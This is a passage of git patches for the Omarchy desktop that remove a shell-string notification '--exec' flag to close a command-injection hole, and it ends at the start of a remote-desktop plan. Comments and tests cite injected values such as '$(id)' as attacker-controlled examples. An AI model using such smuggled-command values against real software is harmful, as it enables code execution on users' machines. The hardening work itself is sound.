Quickshell.execDetached(["bash", "-lc", command]) } - // Run an argv vector directly, without a shell. Nothing in the array is - // reparsed, so an argument carrying attacker-controlled data (a filename, a - // title) can never turn into a command. Prefer this over execDetached for any - // command assembled from untrusted input. + // Run an argv vector safely: the script text is the constant `exec "$@"`, so + // the arguments only ever land in bash's positional parameters, which it + // expands without re-tokenizing or re-evaluating — a value carrying + // attacker-controlled data ($(id), a filename, a title) stays one literal + // argument and can never turn into a command. The login shell (-l) is what + // makes this a drop-in for execDetached: click actions launch GUI apps + // (tensaku, mpv, xdg-open) that need the same PATH and session environment the + // login shell set up. Prefer this over execDetached for any command assembled + // from untrusted input. function execArgv(argv) { - Quickshell.execDetached(argv) + Quickshell.execDetached(["bash", "-lc", 'exec "$@"', "bash"].concat(argv)) } function isPlainObject(value) { diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 1229a37b..727940cb 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -75,7 +75,8 @@ function execFromHints(hints) { // The click action as an argv vector, sent by omarchy-notification-send // --exec-arg and carried as a JSON array string in the omarchy-exec-argv hint. -// The shell runs it with Quickshell.execDetached (no shell), so a value that an +// The shell runs it via Util.execArgv, which passes the arguments as bash +// positional parameters rather than interpolating them, so a value that an // attacker controls — a video title, a filename, a URL — is only ever one // argument and can never be reparsed as a command. This is the parameterized // form: the "prepared statement" to execFromHints's string concatenation. diff --git a/shell/plugins/notifications/Service.qml b/shell/plugins/notifications/Service.qml index 5df3e96c..794c4d9c 100644 --- a/shell/plugins/notifications/Service.qml +++ b/shell/plugins/notifications/Service.qml @@ -361,10 +361,11 @@ Item { if (index < 0 || index >= popupModel.count) return var entry = popupModel.get(index) - // Preferred path: an argv vector run without a shell, so data an attacker - // controls (a video title, a filename) is only ever an argument and can - // never be reparsed as a command. Detached so it outlives the shell, which - // the installer toasts depend on: they restart the shell as their first act. + // Preferred path: an argv vector whose arguments are passed as bash + // positional parameters (never interpolated into a command), so data an + // attacker controls (a video title, a filename) is only ever an argument and + // can never be reparsed as a command. Detached so it outlives the shell, + // which the installer toasts depend on: they restart it as their first act. var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "") if (argv) { Util.execArgv(argv) From eb988b42e678772d26113a5b9e5d08279b74b179 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 13:35:02 -0400 Subject: [PATCH 019/336] Remove --exec entirely; --exec-arg is the only click-command form A free-form shell-string --exec sitting next to the safe --exec-arg is a standing invitation for the next caller to interpolate untrusted data and reintroduce the RCE. Remove it: omarchy-notification-send --exec now errors and points at --exec-arg, and the shell drops the omarchy-exec string hint and its bash -lc execution path, leaving only the argv path. Migrate the remaining string callers (the first-run invitation hooks, wifi and welcome prompts) to --exec-arg, and update their notification mocks. Trim the verbose security comments added along the way. --- bin/omarchy-chromium-ytdlp-host | 7 ++-- bin/omarchy-crash-watch | 7 ++-- bin/omarchy-notification-send | 40 ++++++------------ docs/notifications.md | 32 +++++++------- install/user/first-run/install-voxtype.hook | 2 +- install/user/first-run/setup-agent.hook | 2 +- install/user/first-run/setup-fingerprint.hook | 2 +- install/user/first-run/welcome.sh | 2 +- install/user/first-run/wifi.sh | 4 +- shell/Commons/Util.qml | 14 +++---- .../notifications/NotificationLogic.js | 42 ++++--------------- shell/plugins/notifications/Service.qml | 31 ++++---------- test/shell.d/agent-invitation-test.sh | 4 +- test/shell.d/fingerprint-invitation-test.sh | 4 +- test/shell.d/notification-send-test.sh | 27 +++++------- test/shell.d/notifications-test.sh | 31 ++++++-------- test/shell.d/voxtype-invitation-test.sh | 4 +- 17 files changed, 97 insertions(+), 158 deletions(-) diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index fab6ce01..9e4a19aa 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -27,7 +27,7 @@ valid_url() { # A printed path is only usable if it is a regular file inside DOWNLOAD_DIR. # Forged records (leading-dash mpv options, paths with control chars, or -# anything that escaped the download directory) must not reach --exec. +# anything that escaped the download directory) must not reach the click command. resolve_download_file() { local candidate=$1 file_real dir_real @@ -70,9 +70,8 @@ title_from_file() { fi } -# The click action is passed to the shell as an argv vector (--exec-arg), so the -# path is one literal argument and never reaches a shell. `--` still guards mpv -# itself against parsing a leading-dash filename as an option. +# Click action as argv (--exec-arg): the path is one literal argument, and `--` +# keeps mpv from parsing a leading-dash filename as an option. playback_exec_args=(--exec-arg mpv --exec-arg -- --exec-arg) # Drive the Quickshell OSD — a single overlay that updates in place (like the diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index d3391af6..582564a0 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -33,10 +33,9 @@ announce() { omarchy-notification-wait || return 1 # --exec-arg rather than a libnotify action: the shell runs clicks from its own - # omarchy-exec-argv hint and never emits ActionInvoked. Keeps the default - # "omarchy-action" app name too, the only one shouldBypassDnd() lets through. - # The argv form carries the crash details as literal arguments, so a hostile - # process name can't be reparsed as a command when the toast is clicked. + # hint and never emits ActionInvoked. Keeps the default "omarchy-action" app + # name, the only one shouldBypassDnd() lets through. Crash details ride as + # literal argv, so a hostile process name can't be reparsed as a command. omarchy-notification-send \ --urgency critical \ --glyph "$CRASH_GLYPH" \ diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 84182472..d3b3977f 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] +# omarchy:args=[--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -12,7 +12,6 @@ glyph= urgency="low" app_name="omarchy-action" image= -exec_command= exec_args=() args=() parsed_option_args=0 @@ -56,23 +55,17 @@ parse_omarchy_option() { return 0 ;; --exec) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - exec_command=$2 - parsed_option_args=2 - return 0 + # Removed: a free-form shell string is safe only if the caller quotes every + # value, and its existence invites the next caller to skip that. Use --exec-arg. + echo "--exec is no longer supported: pass each argument with --exec-arg (e.g. --exec-arg mpv --exec-arg -- --exec-arg \"\$file\")" >&2 + exit 1 ;; --exec-arg) if (($# < 2)); then echo "Missing value for $1" >&2 exit 1 fi - # Each --exec-arg contributes one literal argument to the click command. - # The shell runs the resulting argv vector directly (no shell), so callers - # pass untrusted data as its own --exec-arg rather than quoting it into a - # command string. Value is taken verbatim, even when it starts with "-". + # One literal argument of the click command, taken verbatim (even a "-value"). exec_args+=("$2") parsed_option_args=2 return 0 @@ -91,7 +84,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" + echo "Usage: omarchy-notification-send [--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" exit 1 fi @@ -123,22 +116,15 @@ if [[ -n $image ]]; then args+=("--hint=string:image-path:$image") fi -# The shell runs the click command itself, from a copy it keeps alongside the -# on-screen popup. A libnotify action would instead keep this process blocked -# until the click, and die unanswered whenever the shell restarts underneath it. -# -# --exec-arg builds an argv vector the shell runs directly, so a value carrying -# untrusted data is only ever one argument and never reaches a shell. It wins -# over the legacy free-form --exec string, which is run through `bash -lc` and -# is only safe when the caller quoted every interpolated value itself. +# The click command travels with the popup as an argv hint the shell runs +# itself, so restored toasts stay clickable and senders don't block on a +# libnotify action (which dies when the shell restarts). --exec-arg is the only +# form: no free-form shell string to interpolate into unsafely. if ((${#exec_args[@]} > 0)); then - # NUL-delimit the args into jq so every byte survives as data — jq's own - # --args would eat a bare "--", and a title with a newline must stay one - # element, not split the vector. + # NUL-delimit into jq so every byte survives as data: jq's own --args would eat + # a bare "--", and a newline in an arg must not split the vector. exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") -elif [[ -n $exec_command ]]; then - args+=("--hint=string:omarchy-exec:$exec_command") fi if [[ -n $description ]]; then diff --git a/docs/notifications.md b/docs/notifications.md index e4b7da26..ee06d509 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -69,8 +69,7 @@ notify-send arguments and passes any unrecognized options through: | Flag | Becomes | Meaning | |---|---|---| | `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv the shell runs without a shell | -| `--exec` | `--hint=string:omarchy-exec:` | legacy free-form shell command the card runs when clicked (deprecated — see below) | +| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv (see below). This is the only click-command mechanism | | `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | | `--app-name` | `-a` | defaults to `omarchy-action` | | `-u` / `--urgency` | `-u` | defaults to `low` | @@ -91,10 +90,10 @@ immediately. For third-party clients the click falls back to the libnotify window by class via `omarchy-hyprland-focus-app` — chat apps rarely register an action and just expect click-to-jump. -### Click commands must be argv, not shell strings +### Click commands are argv, never shell strings -Prefer `--exec-arg` for every click command. Each `--exec-arg` contributes one -literal argument; the shell runs the resulting vector through +A click command is built from discrete `--exec-arg` arguments. Each `--exec-arg` +contributes one literal argument; the shell runs the resulting vector through `Util.execArgv`, which invokes `bash -lc 'exec "$@"'` with the arguments as **positional parameters** — never interpolated into the script text. bash expands `"$@"` without re-tokenizing or re-evaluating it, so a value carrying @@ -102,17 +101,20 @@ data an attacker controls — a downloaded video's title, a received filename, a crashed process's name — is only ever a single argument and can never be reparsed as a command. The login shell keeps the PATH and session environment that GUI click targets (the screenshot editor, mpv, xdg-open) expect. This is -the parameterized form: pass untrusted data as its own `--exec-arg` rather than -quoting it into a string. +the parameterized form: pass untrusted data as its own `--exec-arg`. -`--exec` is the legacy free-form variant, run through `bash -lc`. It is safe -only when the caller shell-quoted every interpolated value perfectly — the same -trap as string-concatenated SQL, and the exact shape of the yt-dlp title RCE -that motivated the argv form. It is retained for compatibility and honored only -from toasts whose `app_name` is Omarchy's own `omarchy-action`; new senders must -use `--exec-arg`. The shell fails closed on a malformed argv hint (it must be a -JSON array of strings whose program is present and not a leading-dash option) -rather than letting it fall through to a shell. +There is deliberately **no** free-form shell-string variant. An earlier `--exec` +flag took a whole command as one string run through `bash -lc`; it was safe only +when the caller shell-quoted every interpolated value perfectly — the same trap +as string-concatenated SQL, and the exact shape of the yt-dlp title RCE. Even +kept "for compatibility" it was a standing invitation for the next caller to +skip the quoting and reintroduce the hole, so it was removed outright: +`omarchy-notification-send --exec` now errors and points at `--exec-arg`. The +shell fails closed on a malformed argv hint (it must be a JSON array of strings +whose program is present and not a leading-dash option) rather than running +anything it can't validate. A caller can still deliberately name a shell as the +program (`--exec-arg sh --exec-arg -c …`), but that is an obvious, reviewable +red flag rather than the default shape. ## Helper commands diff --git a/install/user/first-run/install-voxtype.hook b/install/user/first-run/install-voxtype.hook index eb180f81..554fd4be 100644 --- a/install/user/first-run/install-voxtype.hook +++ b/install/user/first-run/install-voxtype.hook @@ -5,5 +5,5 @@ set -e if omarchy-done ensure voxtype-install-invitation; then omarchy-notification-send -u critical -g  "Install Dictation with Voxtype" \ "Click to install voice dictation for Omarchy." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install" + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-voxtype-install fi diff --git a/install/user/first-run/setup-agent.hook b/install/user/first-run/setup-agent.hook index d69c710c..f5427c5e 100644 --- a/install/user/first-run/setup-agent.hook +++ b/install/user/first-run/setup-agent.hook @@ -7,5 +7,5 @@ set -e if [[ -z $(omarchy-default-agent) ]] && omarchy-done ensure agent-setup-invitation; then omarchy-notification-send -u critical -g 󰚩 "Set your default agent" \ "Let your favorite agent help with Omarchy." \ - --exec "omarchy menu summon setup.default.agent" + --exec-arg omarchy --exec-arg menu --exec-arg summon --exec-arg setup.default.agent fi diff --git a/install/user/first-run/setup-fingerprint.hook b/install/user/first-run/setup-fingerprint.hook index 1ff17b5d..075048d2 100644 --- a/install/user/first-run/setup-fingerprint.hook +++ b/install/user/first-run/setup-fingerprint.hook @@ -8,5 +8,5 @@ if omarchy-hw-fingerprint && [[ ! -f /etc/pam.d/omarchy-lock-fingerprint ]] && omarchy-done ensure fingerprint-setup-invitation; then omarchy-notification-send -u critical -g 󰈷 "Setup Fingerprint Reader" \ "Enable sudo and unlocking with your fingerprint." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint" + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-setup-security-fingerprint fi diff --git a/install/user/first-run/welcome.sh b/install/user/first-run/welcome.sh index 22e6629e..3e855cd8 100644 --- a/install/user/first-run/welcome.sh +++ b/install/user/first-run/welcome.sh @@ -2,4 +2,4 @@ # elides past three lines. omarchy-notification-send -u critical -g  "Learn Keybindings" \ $'Super + K for cheatsheet.\nSuper + Space for Omarchy Menu.' \ - --exec omarchy-menu-keybindings + --exec-arg omarchy-menu-keybindings diff --git a/install/user/first-run/wifi.sh b/install/user/first-run/wifi.sh index c6d203dd..c16cc30f 100644 --- a/install/user/first-run/wifi.sh +++ b/install/user/first-run/wifi.sh @@ -1,11 +1,11 @@ notify_update() { omarchy-notification-send -u critical -g  "Update System" "Click to update the system." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-update" + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-update } notify_wifi() { omarchy-notification-send -u critical -g 󰖩 "Setup Wi-Fi" "Click to configure the wireless network." \ - --exec "omarchy-shell shell toggle omarchy.network" + --exec-arg omarchy-shell --exec-arg shell --exec-arg toggle --exec-arg omarchy.network } announce_network() { diff --git a/shell/Commons/Util.qml b/shell/Commons/Util.qml index e3553ae8..ca265acd 100644 --- a/shell/Commons/Util.qml +++ b/shell/Commons/Util.qml @@ -54,15 +54,11 @@ QtObject { Quickshell.execDetached(["bash", "-lc", command]) } - // Run an argv vector safely: the script text is the constant `exec "$@"`, so - // the arguments only ever land in bash's positional parameters, which it - // expands without re-tokenizing or re-evaluating — a value carrying - // attacker-controlled data ($(id), a filename, a title) stays one literal - // argument and can never turn into a command. The login shell (-l) is what - // makes this a drop-in for execDetached: click actions launch GUI apps - // (tensaku, mpv, xdg-open) that need the same PATH and session environment the - // login shell set up. Prefer this over execDetached for any command assembled - // from untrusted input. + // Run an argv vector without a shell interpreting it: the constant `exec "$@"` + // means the args only ever land in positional parameters, which bash expands + // without re-tokenizing — so untrusted data ($(id), a filename) stays literal. + // The login shell (-l) keeps the PATH/session env GUI targets (tensaku, mpv, + // xdg-open) need. Prefer this over execDetached for anything built from input. function execArgv(argv) { Quickshell.execDetached(["bash", "-lc", 'exec "$@"', "bash"].concat(argv)) } diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 727940cb..a283bc97 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -57,39 +57,18 @@ function glyphFromHints(hints) { return stringHint(hints, "omarchy-glyph") } -// Shell command to run when the card is clicked, sent by -// omarchy-notification-send --exec. Carrying the action as data means it -// travels with the popup through the persistence files, so a toast restored -// after a shell restart clicks through exactly like a live one. A libnotify -// action can't: its sender is still waiting on an id from a server generation -// that no longer exists. -// -// This is a free-form shell string run through `bash -lc`, so it is safe only -// when every value interpolated into it was shell-quoted perfectly. It is kept -// for compatibility and honored only from Omarchy's own trusted toasts (see -// Service.invokePopupDefault); new senders use --exec-arg / the argv form -// below, which never reaches a shell. -function execFromHints(hints) { - return stringHint(hints, "omarchy-exec") -} - -// The click action as an argv vector, sent by omarchy-notification-send -// --exec-arg and carried as a JSON array string in the omarchy-exec-argv hint. -// The shell runs it via Util.execArgv, which passes the arguments as bash -// positional parameters rather than interpolating them, so a value that an -// attacker controls — a video title, a filename, a URL — is only ever one -// argument and can never be reparsed as a command. This is the parameterized -// form: the "prepared statement" to execFromHints's string concatenation. +// The click action: a JSON argv string from omarchy-notification-send +// --exec-arg. Carried as data so a toast restored after a shell restart stays +// clickable (a libnotify action can't — its sender is gone). Run via +// Util.execArgv as bash positional parameters, never a shell string, so +// attacker-controlled values (a title, a filename) can't become commands. function execArgvFromHints(hints) { return stringHint(hints, "omarchy-exec-argv") } -// Validate a persisted omarchy-exec-argv value into an argv the shell may run, -// or null for anything that is not one. A malformed or hostile hint must fail -// closed here rather than fall through to a shell: we require a JSON array of -// strings, non-empty, whose first element (the program) is present and does not -// start with "-" (which would let a forged record smuggle in a leading-dash -// option in the program slot). +// Validate a persisted omarchy-exec-argv into a runnable argv, or null. Fails +// closed so a malformed/hostile hint never reaches a shell: must be a non-empty +// JSON array of strings whose program is present and not a leading-dash option. function parseExecArgv(value) { var text = String(value || "") if (!text) return null @@ -127,7 +106,6 @@ function snapshotOf(notification, timestamp) { body: n.body || "", image: n.image || "", glyph: glyphFromHints(n.hints), - exec: execFromHints(n.hints), execArgv: execArgvFromHints(n.hints), urgency: n.urgency, expireTimeout: expireTimeout, @@ -137,7 +115,7 @@ function snapshotOf(notification, timestamp) { // Everything the popup card draws, and therefore everything an in-place // update has to write through to the row and its file. -var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "execArgv", "urgency", "expireTimeout"] +var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "execArgv", "urgency", "expireTimeout"] function popupRoles() { return POPUP_ROLES @@ -179,7 +157,6 @@ function historyEntry(value, normalUrgency) { body: e.body || "", image: e.image || "", glyph: e.glyph || "", - exec: e.exec || "", execArgv: e.execArgv || "", urgency: typeof e.urgency === "number" ? e.urgency : normalUrgency, expireTimeout: 0, @@ -390,7 +367,6 @@ if (typeof module !== "undefined") { isEphemeralApp: isEphemeralApp, stringHint: stringHint, glyphFromHints: glyphFromHints, - execFromHints: execFromHints, execArgvFromHints: execArgvFromHints, parseExecArgv: parseExecArgv, shouldRenderCompactGlyph: shouldRenderCompactGlyph, diff --git a/shell/plugins/notifications/Service.qml b/shell/plugins/notifications/Service.qml index 794c4d9c..0122310e 100644 --- a/shell/plugins/notifications/Service.qml +++ b/shell/plugins/notifications/Service.qml @@ -353,37 +353,22 @@ Item { } // Run the popup's click action, then dismiss. Omarchy's own toasts carry the - // action as a command in the `exec` role (see execFromHints), which the - // persistence files preserve, so restored toasts stay clickable. Third-party - // clients register a libnotify action under the canonical identifier - // "default" instead; that one only works while the sender is still live. + // action as an argv vector in the `execArgv` role (see execArgvFromHints), + // which the persistence files preserve, so restored toasts stay clickable. + // Third-party clients register a libnotify action under the canonical + // identifier "default" instead; that one only works while the sender is live. function invokePopupDefault(index) { if (index < 0 || index >= popupModel.count) return var entry = popupModel.get(index) - // Preferred path: an argv vector whose arguments are passed as bash - // positional parameters (never interpolated into a command), so data an - // attacker controls (a video title, a filename) is only ever an argument and - // can never be reparsed as a command. Detached so it outlives the shell, - // which the installer toasts depend on: they restart it as their first act. + // Run the argv (via Util.execArgv, no shell interpretation). Detached so it + // outlives the shell, which installer toasts depend on: they restart it. var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "") if (argv) { Util.execArgv(argv) dismissPopup(index) return } - - // Legacy free-form shell exec (deprecated). It runs through `bash -lc`, so - // it is only as safe as the sender's quoting — honored solely from - // Omarchy's own trusted toasts. app_name is spoofable, so this is a - // compatibility courtesy, not a security boundary; new callers use the argv - // form above. - var command = entry ? String(entry.exec || "") : "" - if (command && String(entry.app || "") === "omarchy-action") { - Util.execDetached(command) - dismissPopup(index) - return - } // Restored rows have no live actions, and looking up liveRefs by their // old-generation id could fire an unrelated fresh notification's action. var ref = entry && !isRestoredRow(entry) ? liveRefs[entry.originalId] : null @@ -681,7 +666,7 @@ Item { body: row.body, image: row.image, glyph: row.glyph || "", - exec: row.exec || "", + execArgv: row.execArgv || "", urgency: row.urgency, timestamp: row.timestamp }, imagesDir).entry) @@ -705,7 +690,7 @@ Item { body: "", image: "", glyph: "󰂚", - exec: "", + execArgv: "", urgency: NotificationUrgency.Low, expireTimeout: 0, timestamp: Date.now() diff --git a/test/shell.d/agent-invitation-test.sh b/test/shell.d/agent-invitation-test.sh index 11de87d9..3cd17745 100644 --- a/test/shell.d/agent-invitation-test.sh +++ b/test/shell.d/agent-invitation-test.sh @@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + [[ $1 == "--exec-arg" ]] && exec_args+=("$2") shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" diff --git a/test/shell.d/fingerprint-invitation-test.sh b/test/shell.d/fingerprint-invitation-test.sh index 09e7edd3..d3f5ceaa 100644 --- a/test/shell.d/fingerprint-invitation-test.sh +++ b/test/shell.d/fingerprint-invitation-test.sh @@ -31,10 +31,12 @@ chmod +x "$test_bin/omarchy-hw-fingerprint" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + [[ $1 == "--exec-arg" ]] && exec_args+=("$2") shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index d93682a4..015ead0d 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -18,7 +18,7 @@ chmod +x "$stub" OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ omarchy-notification-send --app-name custom-app -g K -u critical --image /tmp/image.png \ - --exec "omarchy-menu-keybindings 'a b'" "Learn Keybindings" "Body" + --exec-arg omarchy-menu-keybindings --exec-arg 'a b' "Learn Keybindings" "Body" mapfile -t args <"$args_file" @@ -28,10 +28,10 @@ mapfile -t args <"$args_file" [[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency" [[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" [[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" -[[ ${args[6]} == "--hint=string:omarchy-exec:omarchy-menu-keybindings 'a b'" ]] || fail "notification wrapper converts exec to hint" +[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts exec args to an argv hint" "${args[6]}" [[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" [[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description" -pass "notification wrapper supports app, glyph, urgency, image, and exec options" +pass "notification wrapper supports app, glyph, urgency, image, and exec-arg options" # The shell runs the click command itself, so nothing may block the sender on a # libnotify action round-trip. @@ -44,11 +44,16 @@ OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec" pass "notification wrapper omits the exec hint when no command is given" +# The free-form shell-string --exec is gone: its existence let a caller skip +# quoting and reintroduce the RCE, so it is rejected outright in favor of the +# argv-only --exec-arg. +: >"$args_file" if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "Headline" --exec 2>/dev/null; then - fail "notification wrapper rejects --exec without a command" + omarchy-notification-send --exec 'anything' "Headline" 2>/dev/null; then + fail "notification wrapper rejects the removed --exec flag" fi -pass "notification wrapper rejects --exec without a command" +grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no exec hint for a rejected --exec" +pass "notification wrapper rejects the removed --exec flag" # --exec-arg builds an argv vector encoded as a JSON array, so shell # metacharacters in a value are carried as data, never as a command. The shell @@ -67,13 +72,3 @@ argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" grep -q "omarchy-exec:" "$args_file" && fail "notification wrapper emits no legacy exec string when --exec-arg is used" pass "notification wrapper encodes --exec-arg as a literal JSON argv vector" - -# The argv form is the safe one, so it wins when a caller supplies both. -: >"$args_file" -OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send --exec 'legacy string' --exec-arg xdg-open --exec-arg /tmp/file \ - "Headline" >/dev/null - -grep -q -- "--hint=string:omarchy-exec-argv:" "$args_file" || fail "notification wrapper emits the argv hint when both exec forms are given" -grep -q -- "--hint=string:omarchy-exec:" "$args_file" && fail "notification wrapper drops the legacy exec string in favor of argv" -pass "notification wrapper prefers the argv exec form over the legacy string" diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 32df818e..4a0c7edf 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -385,36 +385,31 @@ assertEqual( 'notifications omit the deadline field until a restore sets it' ) -// A click action carried as a command is the only kind that survives a shell +// The click action (an argv vector) is the only kind that survives a shell // restart: a libnotify action leaves its sender waiting on an id from a server // generation that no longer exists. assertEqual( - notifications.snapshotOf({ id: 3, hints: { 'omarchy-exec': 'omarchy-menu-keybindings' } }, 1).exec, - 'omarchy-menu-keybindings', - 'notifications capture the click command from the exec hint' -) -assertEqual( - notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).exec, + notifications.snapshotOf({ id: 3, hints: { 'omarchy-glyph': '!' } }, 1).execArgv, '', - 'notifications leave the click command empty without an exec hint' + 'notifications leave the click command empty without an exec argv hint' ) assertEqual( notifications.popupEntry( - JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, exec: "mpv '/tmp/a b.mp4'" }, 1)), + JSON.parse(notifications.serializePopup({ id: 1, originalId: 1, timestamp: 5, execArgv: '["mpv","--","/tmp/a b.mp4"]' }, 1)), 1 - ).exec, - "mpv '/tmp/a b.mp4'", - 'notifications round-trip the click command through popup files' + ).execArgv, + '["mpv","--","/tmp/a b.mp4"]', + 'notifications round-trip the click argv through popup files' ) assertEqual( - notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).exec, + notifications.popupEntry({ id: 1, originalId: 1, timestamp: 5 }, 1).execArgv, '', 'notifications restore an empty click command for popups without one' ) assertEqual( - notifications.historyEntry({ id: 1, exec: 'xdg-open /tmp/received' }, 1).exec, - 'xdg-open /tmp/received', - 'notifications keep the click command on history rows' + notifications.historyEntry({ id: 1, execArgv: '["xdg-open","/tmp/received"]' }, 1).execArgv, + '["xdg-open","/tmp/received"]', + 'notifications keep the click argv on history rows' ) const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8') @@ -559,8 +554,8 @@ assert( 'notifications service delimits every popup file during restore' ) assert( - /var command = entry \? String\(entry\.exec \|\| ""\) : ""[\s\S]{0,300}?Util\.execDetached\(command\)/.test(serviceQml), - 'notifications service runs the popup click command itself instead of a libnotify action' + /parseExecArgv\(entry \? entry\.execArgv : ""\)[\s\S]{0,200}?Util\.execArgv\(argv\)/.test(serviceQml), + 'notifications service runs the popup click argv itself instead of a libnotify action' ) assert( /function clear\(\): string \{\s*service\.clearHistory\(\)/.test(serviceQml), diff --git a/test/shell.d/voxtype-invitation-test.sh b/test/shell.d/voxtype-invitation-test.sh index b3eabb43..d8170613 100644 --- a/test/shell.d/voxtype-invitation-test.sh +++ b/test/shell.d/voxtype-invitation-test.sh @@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + [[ $1 == "--exec-arg" ]] && exec_args+=("$2") shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" From f4f3d4c71a0a5c392b20ce05291531881a1b3bfe Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 23 Aug 2026 19:51:32 +0200 Subject: [PATCH 020/336] Add plan for finishing Sunshine/Moonlight into a remote desktop Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01Y5FKtT9KPZcx3ksyfPeXCv --- plans/remote.md | 140 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 140 insertions(+) create mode 100644 plans/remote.md diff --git a/plans/remote.md b/plans/remote.md new file mode 100644 index 00000000..3c7354d5 --- /dev/null +++ b/plans/remote.md @@ -0,0 +1,140 @@ +# Plan: Remote — finish Sunshine/Moonlight into a real remote desktop + +Revision 1. + +## Problem + +Omarchy already leans Sunshine/Moonlight: `moonlight-qt` ships preinstalled (`bin/omarchy-install-preinstalls`) with a fullscreen 